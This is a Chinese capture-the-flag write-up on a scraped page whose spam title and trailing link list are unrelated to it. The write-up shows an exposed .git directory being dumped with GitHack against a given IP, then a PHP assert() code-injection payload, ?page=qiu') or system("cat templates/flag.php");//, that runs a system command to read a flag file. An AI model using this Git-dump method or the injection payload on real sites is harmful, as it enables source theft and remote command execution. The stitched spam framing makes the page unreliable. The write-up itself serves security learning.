当前位置: 首页 > news >正文

intellij idea做网站wordpress商城对接支付接口

intellij idea做网站,wordpress商城对接支付接口,哪里有网站建设加工,wordpress注册显示密码Home界面: Home界面翻译如下: 欢迎访问我的网站! 我自己从头开始写的! 您可以使用上面的链接浏览页面! About界面: 观察到Git,联想Git泄露 Git泄露 Git是一个非常流行的开源分布式版本控制系…

Home界面:

在这里插入图片描述
Home界面翻译如下:
欢迎访问我的网站!
我自己从头开始写的!
您可以使用上面的链接浏览页面!


About界面:

在这里插入图片描述
观察到Git,联想Git泄露

Git泄露

Git是一个非常流行的开源分布式版本控制系统,它被广泛用于协同开发和代码管理。许多网站和应用程序都使用Git作为其代码管理系统,并将其部署到生产环境中以维护其代码库。

然而,在配置不当的情况下,可能会导致.git文件夹被直接部署到线上环境中,这可能会导致Git泄露问题。
此时可使用githack等工具下载站点存储库的整个代码历史记录和配置信息。

漏洞利用

通过枚举工具或搜索引擎来查找带有.git文件夹的存储库,以获取包含未加密密码、凭据和敏感信息的站点代码库。
如GET/.git以确认是否存在git泄露

查看是否存在Git漏洞

Payload:/.git

在这里插入图片描述
由上图,存在Git漏洞。

下载泄漏文件

利用python的githacker库下载泄露文件


GitHack的安装本文不再赘述
详情参考: [Python/网络安全] Git漏洞之Githack工具基本安装及使用详析


打开Githack,输入Payload:
python GitHack.py http://61.147.171.105:61017/.git
得到文件
在这里插入图片描述

代码审计

其中,index.php文件存在以下代码:

<?phpif (isset($_GET['page'])) {$page = $_GET['page'];
} else {$page = "home";
}
//传入page参数,如果没有,则设置为home$file = "templates/" . $page . ".php";
//将page参数拼接成一个templates下的php文件,设置为变量file// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
//判断file中是否有 ..  如果有则直接退出 这是为了防止目录遍历
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!")
//检查指定的文件是否存在。如果文件不存在,将抛出另一个断言错误并停止脚本的执行。
?>

姿势

由于该代码仅对目录遍历进行防范,因此可构造POC,执行系统命令。

由于下载得到的文件中,templates目录路径下含有flag.php,故应读取该文件中内容
在这里插入图片描述

构造POC如下:

?page=qiu or system("cat templates/flag.php");

由于qiu参数不存在,page=qiu返回false 可利用or执行system函数

同时观察到该行代码:

assert("strpos('参数', '..') === false")

如果将上面的POC传入,则变为

assert("strpos('qiu or system("cat templates/flag.php");', '..') === false") 

qiu未被括号闭合,该语句注入不成功

重新构造POC如下:

?page=qiu') or system("cat templates/flag.php");

则语句变为:

assert("strpos('qiu') or system("cat templates/flag.php");', '..') === false") 

再用//将后面的语句注释掉即可

构造POC如下:

?page=qiu') or system("cat templates/flag.php");//

则语句变为:

assert("strpos('qiu') or system("cat templates/flag.php");//', '..') === false") 

最后的语句如下:

assert("strpos('qiu') or system("cat templates/flag.php");

即可实现命令的成功执行:

在这里插入图片描述

总结

该题考察Git泄露之存储库读取姿势代码审计命令执行,读者可躬身实践。

http://www.yayakq.cn/news/997546/

相关文章:

  • 深圳网站建设开发网站建设哪家好网站建设哪家好网站建设哪家
  • 网站上传小马后怎么做浙江省专业网站制作网站建设
  • 网站主页设计欣赏wordpress超简洁主题
  • 集团官方网站建设2015做啥网站能致富
  • 个人域名可以备案企业网站吗宁波设计网站公司
  • 做课题的网站有多少是备案的东莞自媒体运营推广公司
  • 杭州住房和城乡建设局网站北京建筑英才网最新招聘信息
  • 北京网站制作设计公司排名硬件开发方案
  • 网站策划与设计中国各大网站开发语言
  • 西安建设科技专修学院网站手机可以建网站吗
  • 微网站微名片宁波seo排名外包公司
  • 邢台网站制作平台小程序管理平台登陆
  • 网站管理建设工作中国工程建设招聘信息网站
  • 网站建设 成功案例装修方案
  • 网站后门怎么去除如何来做网站
  • 一建建设网站首页集团公司网站欣赏
  • 电脑做视频的网站免费word文档模板下载网站
  • 怎么提高网站的权重网络广告策划书模板范文
  • 广州手机建设网站灰色词seo排名
  • 做网站分辨率一般多少网上做结婚照的网站
  • 高校建设网站的特色网站切图
  • 网站建设忽悠wordpress shopify
  • 苏州网站建设的公司哪家好网络推广运营公司
  • 企业网站做百度小程序程序wordpress
  • 方圆网站建设个人做排行网站
  • 东莞网站建设方案表山东关键词快速排名
  • 哪里可以做期货网站平台邢台建设一个企业网站
  • 杭州手机网站建设公司做网站是属火的职业吗
  • 附近旅游团地址电话怎么搜索沈阳做网站seo
  • 建立一个网站的流程深圳教育网站建设